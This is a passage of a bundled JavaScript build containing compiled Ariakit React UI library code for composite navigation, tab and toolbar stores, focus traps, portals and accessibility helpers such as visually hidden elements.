5428 const sortedItems = flipItems2(loopItems, activeId2, hasNullItem);
5429 const nextItem2 = findFirstEnabledItem2(sortedItems, activeId2);
5430 return nextItem2 == null ? void 0 : nextItem2.id;
5431 }
5432 if (canWrap) {
5433 const nextItem2 = findFirstEnabledItem2(
5434 // We can use nextItems, which contains all the next items, including
5435 // items from other rows, to wrap between rows. However, if there is a
5436 // null item (the composite container), we'll only use the next items in
5437 // the row. So moving next from the last item will focus on the
5438 // composite container. On grid composites, horizontal navigation never
5439 // focuses on the composite container, only vertical.
5440 hasNullItem ? nextItemsInRow : nextItems,
5441 activeId2
5442 );
5443 const nextId = hasNullItem ? (nextItem2 == null ? void 0 : nextItem2.id) || null : nextItem2 == null ? void 0 : nextItem2.id;
5444 return nextId;
5445 }
5446 const nextItem = findFirstEnabledItem2(nextItemsInRow, activeId2);
5447 if (!nextItem && hasNullItem) {
5448 return null;
5449 }
5450 return nextItem == null ? void 0 : nextItem.id;
5451 };
5452 return {
5453 ...collection,
5454 ...composite,
5455 setBaseElement: (element) => composite.setState("baseElement", element),
5456 setActiveId: (id3) => composite.setState("activeId", id3),
5457 move: (id3) => {
5458 if (id3 === void 0) return;
5459 composite.setState("activeId", id3);
5460 composite.setState("moves", (moves) => moves + 1);
5461 },
5462 first: () => {
5463 var _a2;
5464 return (_a2 = findFirstEnabledItem2(composite.getState().renderedItems)) == null ? void 0 : _a2.id;
5465 },
5466 last: () => {
5467 var _a2;
5468 return (_a2 = findFirstEnabledItem2(reverseArray(composite.getState().renderedItems))) == null ? void 0 : _a2.id;
5469 },
5470 next: (options2) => {
5471 if (options2 !== void 0 && typeof options2 === "number") {
5472 options2 = { skip: options2 };
5473 }
5474 return getNextId("next", options2);
5475 },
5476 previous: (options2) => {
5477 if (options2 !== void 0 && typeof options2 === "number") {
5478 options2 = { skip: options2 };
5479 }
5480 return getNextId("previous", options2);
5481 },
5482 down: (options2) => {
5483 if (options2 !== void 0 && typeof options2 === "number") {
5484 options2 = { skip: options2 };
5485 }
5486 return getNextId("down", options2);
5487 },
5488 up: (options2) => {
5489 if (options2 !== void 0 && typeof options2 === "number") {
5490 options2 = { skip: options2 };
5491 }
5492 return getNextId("up", options2);
5493 }
5494 };
5495 }
5496
5497 // node_modules/@ariakit/react-core/esm/__chunks/IQYAUKXT.js
5498 function useCompositeStoreOptions(props) {
5499 const id3 = useId(props.id);
5500 return { id: id3, ...props };
5501 }
5502 function useCompositeStoreProps(store, update, props) {
5503 store = useCollectionStoreProps(store, update, props);
5504 useStoreProps(store, props, "activeId", "setActiveId");
5505 useStoreProps(store, props, "includesBaseElement");
5506 useStoreProps(store, props, "virtualFocus");
5507 useStoreProps(store, props, "orientation");
5508 useStoreProps(store, props, "rtl");
5509 useStoreProps(store, props, "focusLoop");
5510 useStoreProps(store, props, "focusWrap");
5511 useStoreProps(store, props, "focusShift");
5512 return store;
5513 }
5514 function useCompositeStore(props = {}) {
5515 props = useCompositeStoreOptions(props);
5516 const [store, update] = useStore(createCompositeStore, props);
5517 return useCompositeStoreProps(store, update, props);
5518 }
5519
5520 // node_modules/@ariakit/react-core/esm/__chunks/CVCFNOHX.js
5521 var import_react15 = __toESM(require_react(), 1);
5522 var ComboboxListRoleContext = (0, import_react15.createContext)(
5523 void 0
5524 );
5525 var ctx8 = createStoreContext(
5526 [PopoverContextProvider, CompositeContextProvider],
5527 [PopoverScopedContextProvider, CompositeScopedContextProvider]
5528 );
5529 var useComboboxContext = ctx8.useContext;
5530 var useComboboxScopedContext = ctx8.useScopedContext;
5531 var useComboboxProviderContext = ctx8.useProviderContext;
5532 var ComboboxContextProvider = ctx8.ContextProvider;
5533 var ComboboxScopedContextProvider = ctx8.ScopedContextProvider;
5534 var ComboboxItemValueContext = (0, import_react15.createContext)(
5535 void 0
5536 );
5537 var ComboboxItemCheckedContext = (0, import_react15.createContext)(false);
5538
5539 // node_modules/@ariakit/core/esm/tab/tab-store.js
5540 function createTabStore({
5541 composite: parentComposite,
5542 combobox,
5543 ...props
5544 } = {}) {
5545 const independentKeys = [
5546 "items",
5547 "renderedItems",
5548 "moves",
5549 "orientation",
5550 "virtualFocus",
5551 "includesBaseElement",
5552 "baseElement",
5553 "focusLoop",
5554 "focusShift",
5555 "focusWrap"
5556 ];
5557 const store = mergeStore(
5558 props.store,
5559 omit2(parentComposite, independentKeys),
5560 omit2(combobox, independentKeys)
5561 );
5562 const syncState = store == null ? void 0 : store.getState();
5563 const composite = createCompositeStore({
5564 ...props,
5565 store,
5566 // We need to explicitly set the default value of `includesBaseElement` to
5567 // `false` since we don't want the composite store to default it to `true`
5568 // when the activeId state is null, which could be the case when rendering
5569 // combobox with tab.
5570 includesBaseElement: defaultValue(
5571 props.includesBaseElement,
5572 syncState == null ? void 0 : syncState.includesBaseElement,
5573 false
5574 ),
5575 orientation: defaultValue(
5576 props.orientation,
5577 syncState == null ? void 0 : syncState.orientation,
5578 "horizontal"
5579 ),
5580 focusLoop: defaultValue(props.focusLoop, syncState == null ? void 0 : syncState.focusLoop, true)
5581 });
5582 const panels = createCollectionStore();
5583 const initialState = {
5584 ...composite.getState(),
5585 selectedId: defaultValue(
5586 props.selectedId,
5587 syncState == null ? void 0 : syncState.selectedId,
5588 props.defaultSelectedId
5589 ),
5590 selectOnMove: defaultValue(
5591 props.selectOnMove,
5592 syncState == null ? void 0 : syncState.selectOnMove,
5593 true
5594 )
5595 };
5596 const tab = createStore(initialState, composite, store);
5597 setup(
5598 tab,
5599 () => sync(tab, ["moves"], () => {
5600 const { activeId, selectOnMove } = tab.getState();
5601 if (!selectOnMove) return;
5602 if (!activeId) return;
5603 const tabItem = composite.item(activeId);
5604 if (!tabItem) return;
5605 if (tabItem.dimmed) return;
5606 if (tabItem.disabled) return;
5607 tab.setState("selectedId", tabItem.id);
5608 })
5609 );
5610 let syncActiveId = true;
5611 setup(
5612 tab,
5613 () => batch(tab, ["selectedId"], (state, prev2) => {
5614 if (!syncActiveId) {
5615 syncActiveId = true;
5616 return;
5617 }
5618 if (parentComposite && state.selectedId === prev2.selectedId) return;
5619 tab.setState("activeId", state.selectedId);
5620 })
5621 );
5622 setup(
5623 tab,
5624 () => sync(tab, ["selectedId", "renderedItems"], (state) => {
5625 if (state.selectedId !== void 0) return;
5626 const { activeId, renderedItems } = tab.getState();
5627 const tabItem = composite.item(activeId);
5628 if (tabItem && !tabItem.disabled && !tabItem.dimmed) {
5629 tab.setState("selectedId", tabItem.id);
5630 } else {
5631 const tabItem2 = renderedItems.find(
5632 (item2) => !item2.disabled && !item2.dimmed
5633 );
5634 tab.setState("selectedId", tabItem2 == null ? void 0 : tabItem2.id);
5635 }
5636 })
5637 );
5638 setup(
5639 tab,
5640 () => sync(tab, ["renderedItems"], (state) => {
5641 const tabs = state.renderedItems;
5642 if (!tabs.length) return;
5643 return sync(panels, ["renderedItems"], (state2) => {
5644 const items = state2.renderedItems;
5645 const hasOrphanPanels = items.some((panel) => !panel.tabId);
5646 if (!hasOrphanPanels) return;
5647 items.forEach((panel, i3) => {
5648 if (panel.tabId) return;
5649 const tabItem = tabs[i3];
5650 if (!tabItem) return;
5651 panels.renderItem({ ...panel, tabId: tabItem.id });
5652 });
5653 });
5654 })
5655 );
5656 let selectedIdFromSelectedValue = null;
5657 setup(tab, () => {
5658 const backupSelectedId = () => {
5659 selectedIdFromSelectedValue = tab.getState().selectedId;
5660 };
5661 const restoreSelectedId = () => {
5662 syncActiveId = false;
5663 tab.setState("selectedId", selectedIdFromSelectedValue);
5664 };
5665 if (parentComposite && "setSelectElement" in parentComposite) {
5666 return chain(
5667 sync(parentComposite, ["value"], backupSelectedId),
5668 sync(parentComposite, ["mounted"], restoreSelectedId)
5669 );
5670 }
5671 if (!combobox) return;
5672 return chain(
5673 sync(combobox, ["selectedValue"], backupSelectedId),
5674 sync(combobox, ["mounted"], restoreSelectedId)
5675 );
5676 });
5677 return {
5678 ...composite,
5679 ...tab,
5680 panels,
5681 setSelectedId: (id3) => tab.setState("selectedId", id3),
5682 select: (id3) => {
5683 tab.setState("selectedId", id3);
5684 composite.move(id3);
5685 }
5686 };
5687 }
5688
5689 // node_modules/@ariakit/react-core/esm/__chunks/OJYI6SUJ.js
5690 var import_react16 = __toESM(require_react(), 1);
5691 function useTabStoreProps(store, update, props) {
5692 useUpdateEffect(update, [props.composite, props.combobox]);
5693 store = useCompositeStoreProps(store, update, props);
5694 useStoreProps(store, props, "selectedId", "setSelectedId");
5695 useStoreProps(store, props, "selectOnMove");
5696 const [panels, updatePanels] = useStore(() => store.panels, {});
5697 useUpdateEffect(updatePanels, [store, updatePanels]);
5698 return Object.assign(
5699 (0, import_react16.useMemo)(() => ({ ...store, panels }), [store, panels]),
5700 { composite: props.composite, combobox: props.combobox }
5701 );
5702 }
5703 function useTabStore(props = {}) {
5704 const combobox = useComboboxContext();
5705 const composite = useSelectContext() || combobox;
5706 props = {
5707 ...props,
5708 composite: props.composite !== void 0 ? props.composite : composite,
5709 combobox: props.combobox !== void 0 ? props.combobox : combobox
5710 };
5711 const [store, update] = useStore(createTabStore, props);
5712 return useTabStoreProps(store, update, props);
5713 }
5714
5715 // node_modules/@ariakit/core/esm/toolbar/toolbar-store.js
5716 function createToolbarStore(props = {}) {
5717 var _a;
5718 const syncState = (_a = props.store) == null ? void 0 : _a.getState();
5719 return createCompositeStore({
5720 ...props,
5721 orientation: defaultValue(
5722 props.orientation,
5723 syncState == null ? void 0 : syncState.orientation,
5724 "horizontal"
5725 ),
5726 focusLoop: defaultValue(props.focusLoop, syncState == null ? void 0 : syncState.focusLoop, true)
5727 });
5728 }
5729
5730 // node_modules/@ariakit/react-core/esm/__chunks/5WUV565P.js
5731 function useToolbarStoreProps(store, update, props) {
5732 return useCompositeStoreProps(store, update, props);
5733 }
5734 function useToolbarStore(props = {}) {
5735 const [store, update] = useStore(createToolbarStore, props);
5736 return useToolbarStoreProps(store, update, props);
5737 }
5738
5739 // node_modules/@ariakit/react-core/esm/__chunks/WZDDDI4V.js
5740 var ctx9 = createStoreContext(
5741 [CompositeContextProvider],
5742 [CompositeScopedContextProvider]
5743 );
5744 var useToolbarContext = ctx9.useContext;
5745 var useToolbarScopedContext = ctx9.useScopedContext;
5746 var useToolbarProviderContext = ctx9.useProviderContext;
5747 var ToolbarContextProvider = ctx9.ContextProvider;
5748 var ToolbarScopedContextProvider = ctx9.ScopedContextProvider;
5749
5750 // node_modules/@ariakit/react-core/esm/toolbar/toolbar.js
5751 var import_jsx_runtime8 = __toESM(require_jsx_runtime(), 1);
5752 var TagName10 = "div";
5753 var useToolbar = createHook(
5754 function useToolbar2({
5755 store: storeProp,
5756 orientation: orientationProp,
5757 virtualFocus,
5758 focusLoop,
5759 rtl: rtl2,
5760 ...props
5761 }) {
5762 const context = useToolbarProviderContext();
5763 storeProp = storeProp || context;
5764 const store = useToolbarStore({
5765 store: storeProp,
5766 orientation: orientationProp,
5767 virtualFocus,
5768 focusLoop,
5769 rtl: rtl2
5770 });
5771 const orientation = store.useState(
5772 (state) => state.orientation === "both" ? void 0 : state.orientation
5773 );
5774 props = useWrapElement(
5775 props,
5776 (element) => /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(ToolbarScopedContextProvider, { value: store, children: element }),
5777 [store]
5778 );
5779 props = {
5780 role: "toolbar",
5781 "aria-orientation": orientation,
5782 ...props
5783 };
5784 props = useComposite({ store, ...props });
5785 return props;
5786 }
5787 );
5788 var Toolbar = forwardRef2(function Toolbar2(props) {
5789 const htmlProps = useToolbar(props);
5790 return createElement(TagName10, htmlProps);
5791 });
5792
5793 // node_modules/@ariakit/react-core/esm/__chunks/HSU7H6PW.js
5794 var TagName11 = "button";
5795 var useToolbarItem = createHook(
5796 function useToolbarItem2({ store, ...props }) {
5797 const context = useToolbarContext();
5798 store = store || context;
5799 props = useCompositeItem({ store, ...props });
5800 return props;
5801 }
5802 );
5803 var ToolbarItem = memo2(
5804 forwardRef2(function ToolbarItem2(props) {
5805 const htmlProps = useToolbarItem(props);
5806 return createElement(TagName11, htmlProps);
5807 })
5808 );
5809
5810 // node_modules/@ariakit/react-core/esm/__chunks/P7VC6T3R.js
5811 var TagName12 = "hr";
5812 var useSeparator = createHook(
5813 function useSeparator2({ orientation = "horizontal", ...props }) {
5814 props = {
5815 role: "separator",
5816 "aria-orientation": orientation,
5817 ...props
5818 };
5819 return props;
5820 }
5821 );
5822 var Separator = forwardRef2(function Separator2(props) {
5823 const htmlProps = useSeparator(props);
5824 return createElement(TagName12, htmlProps);
5825 });
5826
5827 // node_modules/@ariakit/react-core/esm/__chunks/YBRT277Q.js
5828 var TagName13 = "hr";
5829 var useCompositeSeparator = createHook(function useCompositeSeparator2({ store, ...props }) {
5830 const context = useCompositeContext();
5831 store = store || context;
5832 invariant(
5833 store,
5834 "CompositeSeparator must be wrapped in a Composite component."
5835 );
5836 const orientation = store.useState(
5837 (state) => state.orientation === "horizontal" ? "vertical" : "horizontal"
5838 );
5839 props = useSeparator({ ...props, orientation });
5840 return props;
5841 });
5842 var CompositeSeparator = forwardRef2(function CompositeSeparator2(props) {
5843 const htmlProps = useCompositeSeparator(props);
5844 return createElement(TagName13, htmlProps);
5845 });
5846
5847 // node_modules/@ariakit/react-core/esm/__chunks/PTRWAQFT.js
5848 var ctx10 = createStoreContext(
5849 [PopoverContextProvider],
5850 [PopoverScopedContextProvider]
5851 );
5852 var useHovercardContext = ctx10.useContext;
5853 var useHovercardScopedContext = ctx10.useScopedContext;
5854 var useHovercardProviderContext = ctx10.useProviderContext;
5855 var HovercardContextProvider = ctx10.ContextProvider;
5856 var HovercardScopedContextProvider = ctx10.ScopedContextProvider;
5857
5858 // node_modules/@ariakit/react-core/esm/__chunks/UZXQ5DX3.js
5859 var ctx11 = createStoreContext(
5860 [HovercardContextProvider],
5861 [HovercardScopedContextProvider]
5862 );
5863 var useTooltipContext = ctx11.useContext;
5864 var useTooltipScopedContext = ctx11.useScopedContext;
5865 var useTooltipProviderContext = ctx11.useProviderContext;
5866 var TooltipContextProvider = ctx11.ContextProvider;
5867 var TooltipScopedContextProvider = ctx11.ScopedContextProvider;
5868
5869 // node_modules/@ariakit/react-core/esm/__chunks/X7QOZUD3.js
5870 function getEventPoint(event) {
5871 return [event.clientX, event.clientY];
5872 }
5873 function isPointInPolygon(point, polygon) {
5874 const [x2, y3] = point;
5875 let inside = false;
5876 const length2 = polygon.length;
5877 for (let l3 = length2, i3 = 0, j2 = l3 - 1; i3 < l3; j2 = i3++) {
5878 const [xi, yi] = polygon[i3];
5879 const [xj, yj] = polygon[j2];
5880 const [, vy] = polygon[j2 === 0 ? l3 - 1 : j2 - 1] || [0, 0];
5881 const where = (yi - yj) * (x2 - xi) - (xi - xj) * (y3 - yi);
5882 if (yj < yi) {
5883 if (y3 >= yj && y3 < yi) {
5884 if (where === 0) return true;
5885 if (where > 0) {
5886 if (y3 === yj) {
5887 if (y3 > vy) {
5888 inside = !inside;
5889 }
5890 } else {
5891 inside = !inside;
5892 }
5893 }
5894 }
5895 } else if (yi < yj) {
5896 if (y3 > yi && y3 <= yj) {
5897 if (where === 0) return true;
5898 if (where < 0) {
5899 if (y3 === yj) {
5900 if (y3 < vy) {
5901 inside = !inside;
5902 }
5903 } else {
5904 inside = !inside;
5905 }
5906 }
5907 }
5908 } else if (y3 === yi && (x2 >= xj && x2 <= xi || x2 >= xi && x2 <= xj)) {
5909 return true;
5910 }
5911 }
5912 return inside;
5913 }
5914 function getEnterPointPlacement(enterPoint, rect) {
5915 const { top, right, bottom, left } = rect;
5916 const [x2, y3] = enterPoint;
5917 const placementX = x2 < left ? "left" : x2 > right ? "right" : null;
5918 const placementY = y3 < top ? "top" : y3 > bottom ? "bottom" : null;
5919 return [placementX, placementY];
5920 }
5921 function getElementPolygon(element, enterPoint) {
5922 const rect = element.getBoundingClientRect();
5923 const { top, right, bottom, left } = rect;
5924 const [x2, y3] = getEnterPointPlacement(enterPoint, rect);
5925 const polygon = [enterPoint];
5926 if (x2) {
5927 if (y3 !== "top") {
5928 polygon.push([x2 === "left" ? left : right, top]);
5929 }
5930 polygon.push([x2 === "left" ? right : left, top]);
5931 polygon.push([x2 === "left" ? right : left, bottom]);
5932 if (y3 !== "bottom") {
5933 polygon.push([x2 === "left" ? left : right, bottom]);
5934 }
5935 } else if (y3 === "top") {
5936 polygon.push([left, top]);
5937 polygon.push([left, bottom]);
5938 polygon.push([right, bottom]);
5939 polygon.push([right, top]);
5940 } else {
5941 polygon.push([left, bottom]);
5942 polygon.push([left, top]);
5943 polygon.push([right, top]);
5944 polygon.push([right, bottom]);
5945 }
5946 return polygon;
5947 }
5948
5949 // node_modules/@ariakit/react-core/esm/__chunks/AOQQTIBO.js
5950 var import_react17 = __toESM(require_react(), 1);
5951 var PortalContext = (0, import_react17.createContext)(null);
5952
5953 // node_modules/@ariakit/react-core/esm/__chunks/2F57YTN4.js
5954 var TagName14 = "span";
5955 var useVisuallyHidden = createHook(
5956 function useVisuallyHidden2(props) {
5957 props = {
5958 ...props,
5959 style: {
5960 border: 0,
5961 clip: "rect(0 0 0 0)",
5962 height: "1px",
5963 margin: "-1px",
5964 overflow: "hidden",
5965 padding: 0,
5966 position: "absolute",
5967 whiteSpace: "nowrap",
5968 width: "1px",
5969 ...props.style
5970 }
5971 };
5972 return props;
5973 }
5974 );
5975 var VisuallyHidden = forwardRef2(function VisuallyHidden2(props) {
5976 const htmlProps = useVisuallyHidden(props);
5977 return createElement(TagName14, htmlProps);
5978 });
5979
5980 // node_modules/@ariakit/react-core/esm/__chunks/BFOIJXK2.js
5981 var TagName15 = "span";
5982 var useFocusTrap = createHook(
5983 function useFocusTrap2(props) {
5984 props = {
5985 "data-focus-trap": "",
5986 tabIndex: 0,
5987 "aria-hidden": true,
5988 ...props,
5989 style: {
5990 // Prevents unintended scroll jumps.
5991 position: "fixed",
5992 top: 0,
5993 left: 0,
5994 ...props.style
5995 }
5996 };
5997 props = useVisuallyHidden(props);
5998 return props;
5999 }
6000 );
6001 var FocusTrap = forwardRef2(function FocusTrap2(props) {
6002 const htmlProps = useFocusTrap(props);
6003 return createElement(TagName15, htmlProps);
6004 });
6005
6006 // node_modules/@ariakit/react-core/esm/__chunks/VJH3F6TN.js
6007 var import_react18 = __toESM(require_react(), 1);
6008 var import_react_dom2 = __toESM(require_react_dom(), 1);
6009 var import_jsx_runtime9 = __toESM(require_jsx_runtime(), 1);
6010 var TagName16 = "div";
6011 function getRootElement(element) {
6012 return getDocument(element).body;
6013 }
6014 function getPortalElement(element, portalElement) {
6015 if (!portalElement) {
6016 return getDocument(element).createElement("div");
6017 }
6018 if (typeof portalElement === "function") {
6019 return portalElement(element);
6020 }
6021 return portalElement;
6022 }
6023 function getRandomId(prefix2 = "id") {
6024 return `${prefix2 ? `${prefix2}-` : ""}${Math.random().toString(36).slice(2, 8)}`;
6025 }
6026 function queueFocus(element) {
6027 queueMicrotask(() => {
6028 element == null ? void 0 : element.focus();
6029 });
6030 }
6031 var usePortal = createHook(function usePortal2({
6032 preserveTabOrder,
6033 preserveTabOrderAnchor,
6034 portalElement,
6035 portalRef,
6036 portal = true,
6037 ...props
6038 }) {
6039 const ref = (0, import_react18.useRef)(null);
6040 const refProp = useMergeRefs(ref, props.ref);
6041 const context = (0, import_react18.useContext)(PortalContext);
6042 const [portalNode, setPortalNode] = (0, import_react18.useState)(null);
6043 const [anchorPortalNode, setAnchorPortalNode] = (0, import_react18.useState)(
6044 null
6045 );
6046 const outerBeforeRef = (0, import_react18.useRef)(null);
6047 const innerBeforeRef = (0, import_react18.useRef)(null);
6048 const innerAfterRef = (0, import_react18.useRef)(null);
6049 const outerAfterRef = (0, import_react18.useRef)(null);
6050 useSafeLayoutEffect(() => {
6051 const element = ref.current;
6052 if (!element || !portal) {
6053 setPortalNode(null);
6054 return;
6055 }
6056 const portalEl = getPortalElement(element, portalElement);
6057 if (!portalEl) {
6058 setPortalNode(null);
6059 return;
6060 }
6061 const isPortalInDocument = portalEl.isConnected;
6062 if (!isPortalInDocument) {
6063 const rootElement = context || getRootElement(element);
6064 rootElement.appendChild(portalEl);
6065 }
6066 if (!portalEl.id) {
6067 portalEl.id = element.id ? `portal/${element.id}` : getRandomId();
6068 }
6069 setPortalNode(portalEl);
6070 setRef(portalRef, portalEl);
6071 if (isPortalInDocument) return;
6072 return () => {
6073 portalEl.remove();
6074 setRef(portalRef, null);
6075 };
6076 }, [portal, portalElement, context, portalRef]);
6077 useSafeLayoutEffect(() => {
6078 if (!portal) return;
6079 if (!preserveTabOrder) return;
6080 if (!preserveTabOrderAnchor) return;
6081 const doc = getDocument(preserveTabOrderAnchor);
6082 const element = doc.createElement("span");
6083 element.style.position = "fixed";
6084 preserveTabOrderAnchor.insertAdjacentElement("afterend", element);
6085 setAnchorPortalNode(element);
6086 return () => {
6087 element.remove();
6088 setAnchorPortalNode(null);
6089 };
6090 }, [portal, preserveTabOrder, preserveTabOrderAnchor]);
6091 (0, import_react18.useEffect)(() => {
6092 if (!portalNode) return;
6093 if (!preserveTabOrder) return;
6094 let raf = 0;
6095 const onFocus = (event) => {
6096 if (!isFocusEventOutside(event)) return;
6097 const focusing = event.type === "focusin";
6098 cancelAnimationFrame(raf);
6099 if (focusing) {
6100 return restoreFocusIn(portalNode);
6101 }
6102 raf = requestAnimationFrame(() => {
6103 disableFocusIn(portalNode, true);
6104 });
6105 };
6106 portalNode.addEventListener("focusin", onFocus, true);
6107 portalNode.addEventListener("focusout", onFocus, true);
6108 return () => {
6109 cancelAnimationFrame(raf);
6110 portalNode.removeEventListener("focusin", onFocus, true);
6111 portalNode.removeEventListener("focusout", onFocus, true);
6112 };
6113 }, [portalNode, preserveTabOrder]);
6114 props = useWrapElement(
6115 props,
6116 (element) => {
6117 element = // While the portal node is not in the DOM, we need to pass the
6118 // current context to the portal context, otherwise it's going to
6119 // reset to the body element on nested portals.
6120 /* @__PURE__ */ (0, import_jsx_runtime9.jsx)(PortalContext.Provider, { value: portalNode || context, children: element });
6121 if (!portal) return element;
6122 if (!portalNode) {
6123 return /* @__PURE__ */ (0, import_jsx_runtime9.jsx)(
6124 "span",
6125 {
6126 ref: refProp,
6127 id: props.id,
6128 style: { position: "fixed" },
6129 hidden: true
6130 }
6131 );
6132 }
6133 element = /* @__PURE__ */ (0, import_jsx_runtime9.jsxs)(import_jsx_runtime9.Fragment, { children: [
6134 preserveTabOrder && portalNode && /* @__PURE__ */ (0, import_jsx_runtime9.jsx)(
6135 FocusTrap,
6136 {
6137 ref: innerBeforeRef,
6138 "data-focus-trap": props.id,
6139 className: "__focus-trap-inner-before",
6140 onFocus: (event) => {
6141 if (isFocusEventOutside(event, portalNode)) {
6142 queueFocus(getNextTabbable());
6143 } else {
6144 queueFocus(outerBeforeRef.current);
6145 }
6146 }
6147 }
6148 ),
6149 element,
6150 preserveTabOrder && portalNode && /* @__PURE__ */ (0, import_jsx_runtime9.jsx)(
6151 FocusTrap,
6152 {
6153 ref: innerAfterRef,
6154 "data-focus-trap": props.id,
6155 className: "__focus-trap-inner-after",
6156 onFocus: (event) => {
6157 if (isFocusEventOutside(event, portalNode)) {
6158 queueFocus(getPreviousTabbable());
6159 } else {
6160 queueFocus(outerAfterRef.current);
6161 }
6162 }
6163 }
6164 )
6165 ] });
6166 if (portalNode) {
6167 element = (0, import_react_dom2.createPortal)(element, portalNode);
6168 }
6169 let preserveTabOrderElement = /* @__PURE__ */ (0, import_jsx_runtime9.jsxs)(import_jsx_runtime9.Fragment, { children: [
6170 preserveTabOrder && portalNode && /* @__PURE__ */ (0, import_jsx_runtime9.jsx)(
6171 FocusTrap,
6172 {
6173 ref: outerBeforeRef,
6174 "data-focus-trap": props.id,
6175 className: "__focus-trap-outer-before",
6176 onFocus: (event) => {
6177 const fromOuter = event.relatedTarget === outerAfterRef.current;
6178 if (!fromOuter && isFocusEventOutside(event, portalNode)) {
6179 queueFocus(innerBeforeRef.current);
6180 } else {
6181 queueFocus(getPreviousTabbable());
6182 }
6183 }
6184 }
6185 ),
6186 preserveTabOrder && // We're using position: fixed here so that the browser doesn't
6187 // add margin to the element when setting gap on a parent element.
6188 /* @__PURE__ */ (0, import_jsx_runtime9.jsx)("span", { "aria-owns": portalNode == null ? void 0 : portalNode.id, style: { position: "fixed" } }),
6189 preserveTabOrder && portalNode && /* @__PURE__ */ (0, import_jsx_runtime9.jsx)(
6190 FocusTrap,
6191 {
6192 ref: outerAfterRef,
6193 "data-focus-trap": props.id,
6194 className: "__focus-trap-outer-after",
6195 onFocus: (event) => {
6196 if (isFocusEventOutside(event, portalNode)) {
6197 queueFocus(innerAfterRef.current);
6198 } else {
6199 const nextTabbable = getNextTabbable();
6200 if (nextTabbable === innerBeforeRef.current) {
6201 requestAnimationFrame(() => {
6202 var _a;
6203 return (_a = getNextTabbable()) == null ? void 0 : _a.focus();
6204 });
6205 return;
6206 }
6207 queueFocus(nextTabbable);
6208 }
6209 }
6210 }
6211 )
6212 ] });
6213 if (anchorPortalNode && preserveTabOrder) {
6214 preserveTabOrderElement = (0, import_react_dom2.createPortal)(
6215 preserveTabOrderElement,
6216 anchorPortalNode
6217 );
6218 }
6219 return /* @__PURE__ */ (0, import_jsx_runtime9.jsxs)(import_jsx_runtime9.Fragment, { children: [
6220 preserveTabOrderElement,
6221 element
6222 ] });
6223 },
6224 [portalNode, context, portal, props.id, preserveTabOrder, anchorPortalNode]
6225 );
6226 props = {
6227 ...props,
6228 ref: refProp
6229 };
6230 return props;
6231 });
6232 var Portal = forwardRef2(function Portal2(props) {
6233 const htmlProps = usePortal(props);
6234 return createElement(TagName16, htmlProps);
6235 });
6236
6237 // node_modules/@ariakit/react-core/esm/__chunks/CZ4GFWYL.js
6238 var import_react19 = __toESM(require_react(), 1);
6239 var HeadingContext = (0, import_react19.createContext)(0);
6240
6241 // node_modules/@ariakit/react-core/esm/__chunks/5M6RIVE2.js
6242 var import_react20 = __toESM(require_react(), 1);
6243 var import_jsx_runtime10 = __toESM(require_jsx_runtime(), 1);
6244 function HeadingLevel({ level, children }) {
6245 const contextLevel = (0, import_react20.useContext)(HeadingContext);
6246 const nextLevel = Math.max(
6247 Math.min(level || contextLevel + 1, 6),
6248 1
6249 );
6250 return /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(HeadingContext.Provider, { value: nextLevel, children });
6251 }
6252
6253 // node_modules/@ariakit/react-core/esm/__chunks/3HM4TGWW.js
6254 var import_jsx_runtime11 = __toESM(require_jsx_runtime(), 1);
6255 var TagName17 = "div";
6256 var useFocusableContainer = createHook(function useFocusableContainer2({ autoFocusOnShow = true, ...props }) {
6257 props = useWrapElement(
6258 props,
6259 (element) => /* @__PURE__ */ (0, import_jsx_runtime11.jsx)(FocusableContext.Provider, { value: autoFocusOnShow, children: element }),
6260 [autoFocusOnShow]
6261 );
6262 return props;
6263 });
6264 var FocusableContainer = forwardRef2(function FocusableContainer2(props) {
6265 const htmlProps = useFocusableContainer(props);
6266 return createElement(TagName17, htmlProps);
6267 });
6268
6269 // node_modules/@ariakit/react-core/esm/__chunks/6GXEOXGT.js
6270 function prependHiddenDismiss(container, onClick) {
6271 const document2 = getDocument(container);
6272 const button = document2.createElement("button");
6273 button.type = "button";
6274 button.tabIndex = -1;
6275 button.textContent = "Dismiss popup";
6276 Object.assign(button.style, {
6277 border: "0px",
6278 clip: "rect(0 0 0 0)",
6279 height: "1px",
6280 margin: "-1px",
6281 overflow: "hidden",
6282 padding: "0px",
6283 position: "absolute",
6284 whiteSpace: "nowrap",
6285 width: "1px"
6286 });
6287 button.addEventListener("click", onClick);
6288 container.prepend(button);
6289 const removeHiddenDismiss = () => {
6290 button.removeEventListener("click", onClick);
6291 button.remove();
6292 };
6293 return removeHiddenDismiss;
6294 }
6295
6296 // node_modules/@ariakit/react-core/esm/__chunks/U3R3WHDK.js
6297 var import_react21 = __toESM(require_react(), 1);
6298 function usePreviousMouseDownRef(enabled) {
6299 const previousMouseDownRef = (0, import_react21.useRef)(null);
6300 (0, import_react21.useEffect)(() => {
6301 if (!enabled) {
6302 previousMouseDownRef.current = null;
6303 return;
6304 }
6305 const onMouseDown = (event) => {
6306 previousMouseDownRef.current = event.target;
6307 };
6308 return addGlobalEventListener("mousedown", onMouseDown, true);
6309 }, [enabled]);
6310 return previousMouseDownRef;
6311 }
6312
6313 // node_modules/@ariakit/react-core/esm/__chunks/K2ZF5NU7.js
6314 var cleanups = /* @__PURE__ */ new WeakMap();
6315 function orchestrate(element, key, setup2) {
6316 if (!cleanups.has(element)) {
6317 cleanups.set(element, /* @__PURE__ */ new Map());
6318 }
6319 const elementCleanups = cleanups.get(element);
6320 const prevCleanup = elementCleanups.get(key);
6321 if (!prevCleanup) {
6322 elementCleanups.set(key, setup2());
6323 return () => {
6324 var _a;
6325 (_a = elementCleanups.get(key)) == null ? void 0 : _a();
6326 elementCleanups.delete(key);
6327 };
6328 }
6329 const cleanup = setup2();
6330 const nextCleanup = () => {
6331 cleanup();
6332 prevCleanup();
6333 elementCleanups.delete(key);
6334 };
6335 elementCleanups.set(key, nextCleanup);
6336 return () => {
6337 const isCurrent = elementCleanups.get(key) === nextCleanup;
6338 if (!isCurrent) return;
6339 cleanup();
6340 elementCleanups.set(key, prevCleanup);
6341 };
6342 }
6343 function setAttribute(element, attr, value) {
6344 const setup2 = () => {
6345 const previousValue = element.getAttribute(attr);
6346 element.setAttribute(attr, value);
6347 return () => {
6348 if (previousValue == null) {
6349 element.removeAttribute(attr);
6350 } else {
6351 element.setAttribute(attr, previousValue);
6352 }
6353 };
6354 };
6355 return orchestrate(element, attr, setup2);
6356 }
6357 function setProperty(element, property, value) {
6358 const setup2 = () => {
6359 const exists = property in element;
6360 const previousValue = element[property];
